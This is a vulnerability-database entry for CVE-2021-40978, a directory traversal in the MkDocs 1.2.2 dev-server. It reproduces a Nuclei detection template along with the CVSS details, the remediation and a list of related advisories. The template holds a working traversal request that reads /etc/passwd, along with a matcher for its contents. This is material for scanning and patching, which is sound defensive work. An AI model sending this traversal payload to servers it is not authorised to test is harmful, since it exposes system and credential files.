Lucene search
K

MKdocs 1.2.2 - Directory Traversal

🗓️ 04 Jul 2026 03:00:48Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 49 Views

MKdocs 1.2.2 Directory Traversal CVE-2021-40978 - Remote exploitation via dev-serve

Related
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2021-40978
7 Oct 202114:15
attackerkb
Circl
CVE-2021-40978
7 Oct 202118:33
circl
CNNVD
Mkdocs 路径遍历漏洞
7 Oct 202100:00
cnnvd
CVE
CVE-2021-40978
7 Oct 202113:23
cve
Cvelist
CVE-2021-40978
7 Oct 202113:23
cvelist
GithubExploit
Exploit for Path Traversal in Mkdocs
4 Oct 202101:36
githubexploit
Debian CVE
CVE-2021-40978
7 Oct 202113:23
debiancve
Github Security Blog
Directory traversal in mkdocs
12 Oct 202118:48
github
NVD
CVE-2021-40978
7 Oct 202114:15
nvd
OpenVAS
Generic HTTP Directory Traversal / File Inclusion (Web Root) - Active Check
18 Apr 201700:00
openvas
Rows per page
id: CVE-2021-40978

info:
  name: MKdocs 1.2.2 - Directory Traversal
  author: pikpikcu
  severity: high
  description: The MKdocs 1.2.2 built-in dev-server allows directory traversal using the port 8000, enabling remote exploitation to obtain sensitive information. Note the vendor has disputed the vulnerability (see references) because the dev server must be used in an unsafe way (namely public) to have this vulnerability exploited.
  impact: |
    An attacker can read or modify sensitive files on the server, potentially leading to unauthorized access, data leakage, or system compromise.
  remediation: |
    Upgrade MKdocs to version 1.2.3 or later to fix the directory traversal vulnerability.
  reference:
    - https://github.com/mkdocs/mkdocs/pull/2604
    - https://github.com/nisdn/CVE-2021-40978
    - https://nvd.nist.gov/vuln/detail/CVE-2021-40978
    - https://github.com/mkdocs/mkdocs
    - https://github.com/mkdocs/mkdocs/issues/2601
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-40978
    cwe-id: CWE-22
    epss-score: 0.14759
    epss-percentile: 0.96269
    cpe: cpe:2.3:a:mkdocs:mkdocs:1.2.2:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: mkdocs
    product: mkdocs
  tags: cve2021,cve,mkdocs,lfi,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd'

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:[x*]:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502206e87d7ee68fb756f975ba341221e7a11083c7853e17533da586a1c5c438b9629022100e324265b8ad29eab4e0715fe5bfb35fffc7e23188d2063ee8be8a6514c38d00f:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation